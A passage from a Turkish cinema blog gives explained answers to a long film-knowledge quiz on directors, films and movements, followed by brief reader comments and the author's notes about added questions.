    144. Burada kabaca şunu görüyoruz. Puanlamayı yapan sinema severin, “pop kültür”, “sokaklar”, “gençlik” ve “gençliğin isyanı” temel motifinden beslenen filmlere zaafı vardır. Buna mukabil, siyasi/ajitatif yönü baskın işlere pek gelememektedir. Dolayısıyla ve bu bağlamda, Linklater’in ‘Slacker’ine “yüksek”, Bertolucci’nin ‘Il conformista’sına “düşük” puan vermesi “beklenir.” Bu da sadece b şıkkındadır.

    148. Gerçekten önemli bir sorudur.
    ‘Potemkin Zırhlısı’ndaki gemi tayfasını ve ‘Grev’deki “isimsiz kalabalıkları”; ‘Asya Üzerinde Fırtına’ ve ‘Ana’ filmlerinde ise devrimin bilincine varan “bireyleri” anımsamak, cevap için yeterli olacaktır.

    149. 1990′ların ve Bosna Savaşı’nın sorulduğu açıktır. Bunu işleyen tek filmse ‘Barut Fıçısı’dır. Diğerlerinin hikayesi daha ziyade 20. yüzyıl ortalarında geçer.

    151.
    - Gurme: ‘Babettes gæstebud’ ve ‘Tampopo’
    - Sosyal gözlemci: ‘Kitchen Stories’
    - Etnograf: ‘Nanook of the North’
    - Medya çalışanı: ‘Meet John Doe’

    155. Cary Grant ve Doris Day, peşi sıra film çevirmemişlerdir. Şık, bir yanıltmacadır. Biz biliyoruz ki bahsedilen uyumlu ikili, Doris Day ve “Rock Hudson”dur.

    157.
    -….., son bölümlerini, şehirdeki uzunca bir kaçma-kovalamaca sekansına ayırmıştır. (Panic in the Streets)
    -….., ana karakterin finaldeki 4 ayak yürüyüşü ile belleklere kazınmıştır. (Balkanski spijun)
    -….., Kammerspiel akım dendiğinde belki de akla ilk gelen çalışmadır. Bu karanlık filmin baş karakteri, bir otel kapıcısıdır. (Der letzte man)
    -….., Bir ölümün olduğu son kısımlarda; kamera, pencereden dışarıya çıkar. Devingen kamera, tek planda etrafı süzerken; seyirci, odada olan biteni göremez. Bu, unutulmaz bir andır. (Professione: reporter)

    163. Glauber Rocha demek, toplumcu hassasiyetler demektir. Alejandro Jodorowsky demek, çiğ bir sürrealizm demektir. Dolayısıyla -filmler bilinmese de- yönetmenlerden giderek de doğru cevap yakalanabilir.

    165.
    a-) Raca saraylarında yılan dansı (‘Der Tiger von Eschnapur’ ve ‘The Indian Tomb’ – 1959)
    b-) Führer’e suikast girişimi (‘Man Hunt’ – 1941)
    d-) Kılıç savaşları (‘Moonfleet’ – 1955)
    e-) Ruhunu şeytana satmak (‘Dr. Mabuse, der Spieler – Ein Bild der Zeit’ – 1922)

    166. Bahsi edilen savaş filmi; ’49th Parallel’ (1941)… 49-42= “7″.

    167.
    - Filmlerimde, ülkemin banliyölerini ve oradaki suçlu/kaybeden gençliği işlemeyi seviyorum. (Olivier Assayas)
    - Filmlerimde, yolculuk – göçmenlik – yabancılaşma öğeleri baskındır. (Clara Law)
    - Filmlerim, sürreal ve tarifi zor bir kabus gibidir. Zaten fazla da filmim yok. (Alejandro Jodorowsky)
    - Filmlerim, geleneğe kökten bir başkaldırıdır. Aslında film oldukları da tartışılır. Bence sinema öldü! (Guy Debord)

    172. Jean Renoir’in film-noire göz kırptığı ‘La chienne’ (Dişi Köpek – 1931), “avant-garde” akıma dahil edilemez.

    177.
    James Ivory & … (Ismail Merchant)
    … & Roger Deakins (Coen Biraderler)
    Marcel Carne & … (Jacques Prevert)
    … & Harold Pinter (Joseph Losey)
    Sorudaki çeldirici olan “Cesare Zavattini” ise Vittorio De Sica ile hatırlanacak bir senaristtir.

    178. ‘Victim’ (1961) filminin baş karakteri Melville Farr (Dirk Bogarde), bir avukattır. O katillerden biri değildir.

    179.
    - Ölen bir eş ve onun için yaptırdığı odada kendine bir dünya yaratan koca… (La chambre verte)
    - Ucube bir çocuk ve “dil”in gelişimdeki önemi… (L’enfant sauvage)
    - ‘Jules and Jim’in izinden giden bir üçlü aşk hikayesi… (Les deux Anglaises et le continent)
    - Müzisyenler ve silahlı adamlar; dağ evleri… (Tirez sur le pianiste)

    181.
    - Bir ada, davetliler ve Agatha Christie gerilimi. (And Then There Were None)
    - İngiltere dönemlerinde gelen, Ealing usülü bir fantastik komedi. (The Ghost Goes West)
    - Chaplin’in ‘Modern Times’ine kaynaklık etmiş bir yapım. (À nous la liberté)
    - Damların, bacaların altında yazılan şiirler… Yoksulluk, çaresizlik, aşk… Sesin çok az kullanıldığı bir film. (Sous les toits de Paris)

    182. “Filmlerinde, politik didaktizme çok fazlaca kapıldıkları görülüyor.”, Çek Sineması için doğru bir ifade olmaz. Evet, böyle filmler de vardır ama nadirdir. Çek Sineması, “söyleyeceklerini” hınzır bir mizahın ya da sürrealizmin kadife yumruğu içinde dile getirmeyi yeğlemiştir. Mevcut sansür ve baskı da bunu gerektirmiştir zaten.

    184. “Baba”nın -ekmek kapısı- motosikletiyle eve doğru yol aldığı sahne…

    188. John Cassavetes’in 59 yapımı ve debut filmi ‘Gölgeler’, insanda böyle bir düşünce uyandırmıyor değil hani.

    190. Evet, Michael Corleone -babası ya da aile avukatlarının aksine- diplomasiye çok bel bağlayan yapıda değil. Sollozzo ile restoranda buluştuğu anları hatırlıyoruz. Ama… Soru kökündeki ayırt edici anahtar, “hırçın” ibaresi. Zira genç Michael, kardeşi Sony’in eline bu konuda su dökemez. (bkz. Gettodaki dayak sahnesi…)

    191.
    - İnsan bilincine yönelen ve modern toplumdaki iletişimsizliği / donmuşluğu diskur belleyen ……. (Michelangelo Antonioni)
    - düşsel ile gerçeğin, gülünç ile trajiğin iç içe girdiği ‘aylaklar’ın dünyasıyla ……. (Federico Fellini)
    - Beri yandaysa tarih ve siyaseti, fabl ve mitoloji ile harmanlayan ……. (Pier Paolo Pasolini)
    - …… yı da, yine Rosi paralelinde okuyabiliriz. En azından “erken dönemleri” buna müsaittir: ‘I sovversivi’ ve ‘Allonsanfan’ gibi. (Paolo & Vittorio Taviani)

    193.
    - Yüksek bütçeli sinema örnekleri. (Blockbuster)
    - Bir sansür mekanizması… Bir dönem Hollywood’un üzerinde Demoklesin Kılıcı gibi sallanmış yasak kurallar bütünü. (Hays Code)
    - Tanıdık bir yüzün, filmde küçük bir rol ile kadraja dahil olması. (Cameo)
    - En basit ifadeyle ‘romantik-komedi’. (Screwball)

    196. Bir western klasiği olan ‘Rio Bravo’, 1959 yapımıdır. Hawks’ın “son dönem” çalışmaları arasındadır.

    202. ‘Przypadek’, 6 yıllık bir bekleyişin akabinde, 1987 yılında görücüye çıkabilmişti.

    203.
    a-) ‘Manon des sources’ {1986 – Claude Berri} — ‘Manon des sources’ {1952 – Marcel Pagnol}
    b-) ‘Thing’ {1982 – John Carpenter} — ‘The Thing from Another World’ {1951 – Christian Nyby}
    c-) ‘Death of a Salesman’ {1985 – Volker Schlöndorff} — ‘Death of a Salesman’ {1951 – Laslo Benedek}
    e-) ‘The Postman Always Rings Twice’ {1981 – Bob Rafelson} — ‘The Postman Always Rings Twice’ {1946 – Tay Garnett} — (Aslında bu uyarlama, Visconti’nin 43 yapımı ‘Ossessione’sine dek dayanır.)

    204. “Dramatik Yapı”, en basit tabirle senaryonun/öykünün işlenişidir. “Giriş-gelişme-sonuç” çatısıdır.

    205. ‘A tanu’ (Tanık), Macar Sineması’nın en iyi siyasi hiciv filmlerinden biriydi. Ama “medya” sularında yüzmez.

    207. James Cagney, çok büyük oyuncu!

    208. David O. Selznick, bir görüntü yönetmeni değildir. Hollywood’un efsane “yapımcıları” arasındadır.

    210. ‘Les yeux sans visage’, Clouzot filmi değildir. Georges Franju’nun yönettiği bir korku klasiğidir.

    212.
    - …, Dışavurumcu bir yönetmenin, Hollywood stüdyolarında gerçekleştirdiği filmdir. Tıpkı ‘City Girl’ gibi kır/kent şemalıdır. Kilise sahnesi de ipucu olsun. (Sunrise)
    - …, Monty Python serilerinin de yönetmeni olan düşler sinemacısı Terry Gilliam’ın çizdiği bürokratik bir gelecek tasviridir. (Brazil)
    - …, kuyruklu piyano, göz ve ustura kombinasyonuyla anımsanan bir sürrealizm harikasıdır. (Un chien andalou)
    - …, Ingmar Bergman’ın korku sinemasına göz kırptığı, kabuslarla örülü bir filmdir. (Vargtimmen)

    214. Bir Yunan filmi olan ‘Pote tin Kyriaki’ (Pazarları Asla – 1960), diğer seçeneklerin aksine, bir noir değildir. Jules Dassin, bu kez duygusal bir çalışmaya imza atmıştır.

    217. Bir Free Cinema örneği olan ‘This Sporting Life’, “rugby” sporu ile eşleştirilmeliydi.

    219. Sıkı bir muhafazakar olan üstad John Ford, seçenekler arasında “doğru cevap benim” diye bağırıyor adeta.

    224.
    - İtalya seyahatinde, zıt karakterlere sahip iki erkek arasında kalan genç bir kız… (A Room with a View)
    - Madonna’lı bir yeniden çevrimin azizliğine uğramış, sınıf tandanslı Lina Wertmüller filmi… (Travolti da un insolito destino nell’azzurro mare d’agosto)
    - Claude Lanzmann’ın Yahudi soykırımına eğildiği başyapıtı… (Shoah)
    - Bahçıvan adam ve burjuva kadının, çevrece mahkum edilen ilişkileri… (All That Heaven Allows)

    227. Peter Bogdanovich’in muhteşem filmi ‘The Last Picture Show’, Free Cinema akımına dahil değildir. Zaten seçeneklerdeki tek Amerikan filmi olmasıyla da yanlış olduğunu belli etmektedir.

    228. ‘C’eravamo tanto amati’ {Birbirimizi Öyle Çok Sevmiştik ki – 1974}, ‘Le bal’ {Balo – 1983}, ‘La famiglia’ {Bir Aile – 1987}… Ettore Scola, soru kökünde sözü edilen anlatım türünün en mahir temsilcilerindendir.

    230. Diğeri, Aki Kaurismaki’dir: ‘Hamlet liikemaailmassa’ {Hamlet İşe Gidiyor – 1987}

    231.
    - Lenin heykeli (To vlemma tou Odyssea)
    - Orman ve rüzgarın sürüklediği fötr şapka (Miller’s Crossing)
    - Kesik kulak (Blue Velvet)
    - Benzin istasyonu ve kayboluş (Spoorloos)

    235. ‘Annie Sullivan‘ karakteri, ‘The Miracle Worker’de “Anne Bancroft” tarafından canlandırılmıştır.

    237. ‘Koshieki‘ (İdam – 1967), Luis Garcia Berlanga’nın değildir. Bir “Nagisa Oshima” filmidir.

    242. “7 güzel” ipucusu verilen ve bulunması istenen taşlama: ‘Pasqualino Settebellezze’ (1975) / Lina Wertmüller

    247. Yönetmen bilgisini ölçen sorulardan biri. ‘Accident’, Sidney Lumet’in değil “Joseph Losey”in bir filmidir.

    249. Her ne kadar Bertolucci, baba ve oğulu aynı cüssede birleştirmek gibi soyut/yabancılaştırıcı bir anlatım tercih etmişse de… ‘Örümceğin Stratejisi’ndeki bir “baba” ve onun hakkında araştırmalara koyulan oğul denklemi, Suat’ın belleğini muhtemelen Szabo’nun ‘Apa’sına götürecektir. (‘Şahinler ve Serçeler’ ise ana çeldirici.)

    258. Romero’nun kült filmi ‘Night of the Living Dead’ (Yaşayan Ölülerin Gecesi – 1968), “giallo” değildir. Bir “zombi” sineması örneğidir.

    259. ‘Trans Europ-Express’ (1967) ve Cinema Verite, asla bağdaştırılamayacak bir eşleşme. Film, Grillet imzalı fantastik bir çalışmaydı.

    260.
    “Alanda bir saat kulesi vardır.” ile ‘The Stranger’ (1946)
    “Islak kanyonlardan at arabaları geçer art arda… Arabada kadınlar… Ve hep dokunur bana bu nal sesleri.” ile ‘Stagecoach’ (1939)
    “Sonra bir kadın sokulur yanıma… Kucağında ölü çocuğuyla.” ile ‘Way Down East’ (1920)
    “Bir meyhaneye giderim sonra… Babam yaşındaki adamlarla içki içerim.” ile ‘Straw Dogs’ (1971)
    çağrışımları yapmak mümkündür.

    263. ‘Ascenseur pour l’échafaud’ {İdam Sehpası – 1958}, bir “gerilim” ve “noir” harmanıdır. Miles Davis imzalı muhteşem de bir müziği olan bu debut, Louis Malle’nin sonraki filmlerini anlamamız adına sanki çok da ışık tutmaz. Zira yönetmen, sonraki filmlerinde noir-gerilim harmanına pek bulaşmamıştır.

    265.
    - Benzer şematik, Renoir’in ‘Boudu sauvé des eaux’unda ve Marek Piwowski’nin …… filmlerinde de vardı. (Rejs)
    - Edward Yang’ın 1980′ler yapımı filmi ……, Tayvanlı genç neslin Amerikan özentiliğini müşahade ediyordu. (Taipei Story)
    - …, hayali bir arkadaş (tavşan) yaratan ve çevresi tarafından akıl hastanesine yatırılmak istenen naif bir yüreğin öyküsüydü. (Harvey)
    - Ermanno Olmi’nin filmi ……, hoş bir toplu salon dansı ile açılıyordu. (I fidanzati)
    Soru, daha ziyade Olmi’nin ‘Il posto’ ve ‘I fidanzati’ filmlerinin ayırt edilebilme yetisini ölçmektedir.

    269.
    Soru kökündeki “uçurum kenarındaki rahibeler” ile ‘Black Narcissus’; “Hintlilerin kalelerine baskın düzenleyen süvariler” ile ‘Gunga Din’, “kayıp bir arkadaşın izini sürenler” ile ‘Nocturne indien’ kastedilmiştir.
    Bahsi edilen deneysel film ise ‘India Song’. Yani sorunun doğru cevabı.
    Seçenekler arasında Hindistan’da geçmeyen tek filmse, Afrika fonlu ‘Coup de torchon’.

    270. ‘Bir Gecede Oldu’lar, ‘Şahane Hayat’lar, ‘Arsenik Kurbanları’, ‘You Can’t Take It with You’ ve benzerleri… Frank Capra sineması, insana mutluluk hormonu salgılatır.

    271. Klasik dönem Kara Film tutkunları, “Paul Muni: Komik” ibaresinde bir terslik olduğunu hemen sezinlemişlerdir.

    274.
    - Kırsalda geçen film, tarım işçilerini ve onları ezen feodal sahiplerini konu edinir. (Los santos inocentes)
    - Şeytana tapan komşularını ve kocasını, potansiyel düşman gören bir kadının gerilimidir. (Rosemary’s Baby)
    - ABD Sivil Savaş dönemlerinde geçen ünlü bir belgeseldir. (Sherman’s March)
    - Sürpriz finalli bir mahkeme klasiğidir. (Witness for the Prosecution)

    276. ‘The Third Man’ {1949, Carol Reed} — “Londra” eşleşmesi yanlış olmuştur. Film Noir’in bu güzide klasiği, “Viyana”da geçer. (bkz. ‘Harry Lime’ ve “guguklu saat”.)

    277.
    - ….., “net alan derinliği”nin sinemadaki en etkili kullanımlarından biridir. (Citizen Kane)
    - Jacques Tourneur, klasik dönem gerilim sinemasının önemli isimlerindendir. …… isimli filminde şeytana tapan insanlar görülür. (Night of the Demon)
    - Michael Haneke’nin ……sı, evdeki eşyaları yok etmemizi salık veren nihilist bir filmdir. (Der siebente Kontinent)
    - Tod Browning’in rahatsız edici filmi ….., Werner Herzog’un cücelere rol verdiği ‘Auch Zwerge haben klein angefangen’i önceller. (Freaks)
    Şayet ikinci maddede yönetmen ismi (Jacques Tourneur) verilmese, soru muğlak bir hal alacaktı. Öyle olsaydı hem ‘Night of the Demon’ hem de Mark Robson imzalı ‘The Seventh Victim’, boş bırakılan yere getirilebilirdi.

    280. Melina Mercouri’li ‘Stella’, erken dönem Yunan Sineması’nın en bilinen parçalarından biridir.

    282.
    - …..: ‘Man of Aran’ ve ‘Nanook of the North’ ile birlikte sac ayağı oluşturur. (Louisiana Story)
    - …..: Almanya’nın geçmişiyle hesaplaştığı filmler arasındadır. (Die morder sind unter uns)
    - …..: Hapishane filmleri arasında müstesna yer teşkil eder. (Le Trou)
    - …..: Ölen baba ve cenaze için gelen oğul, manevi bir yolculuğa davetiyedir. (Krug vtoroy)

    283.
    b-) Marx Brothers’in bıyıklı olanı (Groucho), kardeşlerin filmlerinde sıklıkla “arp” çalarken görülmektedir. (Arp çalan “Harpo Marx”tır. Kardeşlerin en uslanmazı.)
    c-) ‘Buffet froid’ (Soğuk Büfe – 1979), tüketim toplumuna ve ataerkil düzene dair ciddi eleştiriler barındırır. (Bir Bertrand Blier filmi ne kadar ciddi olabilir?)
    d-) ‘Urga’ ve ‘Güneş Yanığı’ (Utomlennye solntsem), Mikhail Kalatozov’un’un 90′ların ilk yarısında imza attığı işleridir. (Urga ve Güneş Yanığı, Nikita Mikhalkov’un filmleridir.)
    e-) ‘Brighton Rock’ (1947) adlı gangster filminde sir Alec Guinness, 8 ayrı karakteri birden canlandırmıştır. (‘Kind Hearts and Coronets’ yanıltmacası yapılmıştır. Öte yandan, ‘Brighton Rock’un başrol oyuncusu Richard Attenborough’dur.)

    284.
    ‘Goodfellas’, arabadaki infazla; ‘Se7en’, cinayet mahalindeki ceset ve kanla; ‘Halloween’, Myers’ın ilk icraatıyla açılış sekansı yapar.
    Bir bardaki diyaloglarla açılan ‘Seul contre tous’ ile ailenin otobandaki müzikli yolculuğuyla giriş yapan ‘Funny Games’, soruda istenen ikilidir.

    286.
    - Polisler tarafından kuşatılan bir otelde, kapana kıstırılmış katil… (Le jour se lève)
    - Kitlesel korkuya kapılan bir kasabanın yalnız bırakılmış kahramanı… (High Noon)
    - Vicdani bir ikilem altında kalan din adamı… (I Confess)
    - 30′ların hoşgörü yoksunu büyük buhran toplumunca linç edilmek istenen adam… (Fury)

    289.
    * Şehirler arası yolculuk ve bir yemek masasında geçirilen uzun kriz anlarıyla hatırlanabilecek Trier filmi. (Epidemic)
    * Chabrol’un, kadınlar arası ilişkilerle öne çıkan sansasyonel filmi. (Les biches)
    * Westernlerin yönetmeninden, İrlanda’nın kırsallarında geçen bir aşk hikayesi. (The Quiet Man)
    * Bir caz biyografisi. (Bird)

    290. Yeni Gerçekçi bir çalışma olan ‘Roma ore 11′ (1952), belirtilen tarz filmlerden değildir.

    291. Andre Cayatte, peşi sıra imza attığı “hukuksal” filmleriyle öne çıkmış bir yönetmendi. İsmi saklı filmse, ‘Justice est faite’ (1950).

    292. d şıkkı, katmerli yanlış.
    ‘Bab el hadid’ {Merkez Garı – 1958}, “pembe gerçeklik”le alakası olmayan bir filmdir. Bilakis; sert ve pesimist bir noirdir. ‘Hanuma’yı unutmak mümkün mü!
    “1974 yapımı ‘Thieves Like Us’, Robert Altman’ın ‘Nashville’ (1975) öncesi imza attığı ısınma müzikalidir.” ibaresi yanlış olmuştur. ‘Thieves Like Us’ {Bizim Gibi Hırsızlar}, bir müzikal değildir. Büyük Depresyon yıllarında geçen bir suç/soygun hikayesidir. Çok da iyi bir filmdir.

    293. “Kurbağa Yağı Satıcısı”, bir Akira Kurosawa kitabıdır. Otobiyografiktir.

    209.
    a-)
    - Yusuf: Katı gerçekçi. Fantastik filmlerden hiç haz etmiyor. (YANLIŞ. Listesinde ‘The Ghost and Mrs. Muir’ varken, bu iddia edilemez.)
    - Kenan: Listesi büyük oranda hafif romantik komedilerden oluşuyor. (DOĞRU. Laf aramızda, ‘The Lady Eve’ de ne muhteşem filmdi.)
    - Recep: Zamanında üzerinden lezbiyen okumalar yapılmış bir film onun listesinde. (DOĞRU. ‘The Children’s Hour’ ve Audrey Hepburn & Shirley MacLaine.)
    - Zehra: Listesinde birden fazla mahkeme filmi bulunuyor. (YANLIŞ. Sadece ‘Anatomy of a Murder’ var. ‘In the Heat of the Night’ı ve ‘Her Devrin Adamı’nı mahkeme filmleri olarak değerlendiremeyiz.)
    - Ayşe: Laurel & Hardy ikilisinin belki de en güzel ve en ünlü filmi onun listesinde. (DOĞRU. 1933 yapımı ‘Sons of the Desert’.)

    b-)
    - Yusuf: Eski western kalıplarını devam ettiren -adı saklı- yönetmen onun listesinde. (DOĞRU. Budd Boetticher.)
    - Kenan: Listesi sayıca az ama birden fazla müzikal barındırıyor. (YANLIŞ. Sadece 1 tane müzikal almış: ‘An American in Paris’.)
    - Recep: Filmlere bakılacak olursa diğerlerine göre daha karamsar ve isyankar bir ruh taşıyor. (DOĞRU olabilir. Listesinde noirler ve ağır dramlar öne çıkıyor. Komedi ise yok gibi. Ayrıca ‘Asi Gençlik’i de almış.)
    - Zehra: Ne yani, kadınlar da boks filmleri ve noir sevemez mi! (DOĞRU. ‘Body and Soul’, ‘They Made Me a Fugitive’, ‘The Killing’.)
    - Ayşe: Müzikal sever olduğu neredeyse kesin. (DOĞRU. Listenin ilk 3′ü o şekilde başlamış zaten. Bir o kadar müzikal de aşağılarda var.)

    c-)
    - Yusuf: Film-noire zaafı olduğu kesin. (DOĞRU. ‘Crossfire’, ‘The Heiress’, ‘Gaslight’…)
    - Kenan: Klasik dönem korku sinemasına yakın biri. (DOĞRU. ‘Hush…Hush, Sweet Charlotte’yi listesine alan birinin, eski usül korkuları sevdiğini pekala düşünebiliriz.)
    - Recep: James Dean’ı efsane haline getiren filmlerden biri onun listesinde. (DOĞRU. Bir üstte de adı geçmişti zaten: ‘Rebel Without a Cause’.)
    - Zehra: Ağır çekim çatışma sahneleriyle efsaneleşmiş bir western onun listesinde. (DOĞRU. Peckinpah’ın ‘The Wild Bunch’u, tam da böyle bir filmdir.)
    - Ayşe: Yanlışlıkla İngiliz yapımı bir film almış listesine. Haksız da değil, çok sağlam bir noirdi. (YANLIŞ. Listelerine “İngiliz yapımı noir”ler karışan iki isim; Recep ve Zehra. Filmlerse; ‘It Always Rains on Sunday’ ve ‘They Made Me a Fugitive’… Bu arada Yusuf da listesine bir P & P filmi -yani İngiliz yapımı- almış ama o bir noir değil, savaş filmiydi.)

    d-)
    - Yusuf: İç mekan kullanımıyla öne çıkan Ford westerni onun listesinde. (DOĞRU. ‘The Man Who Shot Liberty Valance’.)
    - Kenan: Onun listesinde ise hiç western bulunmuyor. (YANLIŞ. ‘Stars in My Crown’, belki en katıksızından değilse de bir western örneğiydi.)
    - Recep: Kesinlikle Bette Davis hayranı. (YANLIŞ. ‘The Little Foxes’ var sadece. 1 filme dayanarak da böyle bir hayranlıktan bahsedilemez herhalde.)
    - Zehra: Westernlerin yönetmeninin bu kez toplumcu bir konuya eğildiği ve madenci ailesini anlattığı film onun listesinde. (DOĞRU. ‘How Green Was My Valley’, Ford’un belirtilen tarz işlerindendi.)
    - Ayşe: Simone Simon’lu efsane korku filmi ise onun listesinde. (YANLIŞ. Zehra’nın listesinde: ‘Cat People’.)

    e-)
    - Yusuf: Listesinde epik bir Shakespeare uyarlaması dikkat çekiyor. (DOĞRU. Orson Welles imzalı ‘Campanadas a medianoche’.)
    - Kenan: W.C. Fields’li komedi filmlerini seviyor. (DOĞRU. ‘The Bank Dick’, ‘It’s a Gift’.)
    - Recep: İki kovboy kardeşin arasını açan Pearl karakteri, onun listesindeki bir filmde. (DOĞRU. ‘Duel in the Sun’ filminde Jennifer Jones’in canlandırdığı Pearl, buna sebebiyet verecekti.)
    - Zehra: Tür olarak en heterojen liste onun. (DOĞRU. Dramdan westerne, korkudan film noire, savaştan müzikale her türden film var listesinde. Daha da önemlisi, diğerlerinden farklı olarak listesine “bilim-kurgu” da almış: ‘The Day the Earth Stood Still’.)
    - Ayşe: Bazı bölümlerde metropolü doya doya gösteren, bol geveze bir film noir var listesinde. (DOĞRU. Abraham Polonsky’in yönettiği ‘Force of Evil’, tam da böyle bir filmdir. Köprü sahnesi ise akıldan çıkmaz.)

    Görüldüğü gibi hepsi tastamam doğru olan şık, “e” şıkkı.

  • Jef _ Costello diyor ki:

    Tıpkı 3-4 yaşındaki çocuğun tüm oyuncaklarını halıya serip oynaması ve bundan zevk alması gibi..

    Dirençli ruh, epey ağır yüklerin altına girer. Yükünü sırtlanmış deve nasıl vurursa kendini çöl yoluna, ruh da öylece yollanır kendi çölüne.
    Ama en ıssız bir çölde ikinci değişim gerçekleşir: Burada ruh aslanlaşır, özgürlüğünü sağlamayı, kendi çölünün hakimi olmayı ister.

    Nietzsche

    Okaliptus80´de çölüne hakim olmanın getirdiği güçle ortalığı aleve vermekte sakınca görmüyor, bilasik bundan zevk alıyor..

    **

    134.sorudaki filmler arası bağlantı da çok iyi..

    Lumiere-Pathe-Gaumont Karayolu muhteşemdi..

    **

    diğer soruları da (büyük çoğunluğunu) beğeniyle okudum..

  • okaliptus80 diyor ki:

    Beğenmene sevindim Jef, teşekkür ederim.
    Hep burada olman dileğiyle….

  • okaliptus80 diyor ki:

    Sınava, Ergenekon darbesi :) Yeni bir soru eklendi. (Hep şu mükemmelliyetçilik takıntısı.)

    292. ve 293. sorular, üst üste “hangisi doğru değildir” kalıplıydı ve rahatsız ediciydi. İki sorunun seçenekleri, madde 292′de birleştirildi.

    293. SORU, YENİDİR. (Yönetmenler ve Kitapları.)

    Yönetmenlerin sinemaya bakışlarını, yaşam öykülerini okumak keyifli ve öğretici oluyor.

  • okaliptus80 diyor ki:

    Yeni eklenen 301. soru ile ALES sınavı da aradan çıkmış; maraton tamamlanmıştır.

Yorumunuzu bildirin

Yazı hakkında yorum yapabilmeniz için giriş yapmalısınız.

Kategoriler
  • Dosyalar
  • +DVD Köşesi
  • +Festival ve Seçkiler
  • +Film Eleştirileri
  • +Genel
  • +Hacksaw Ridge
  • +Söyleşiler
  • +Yönetmenler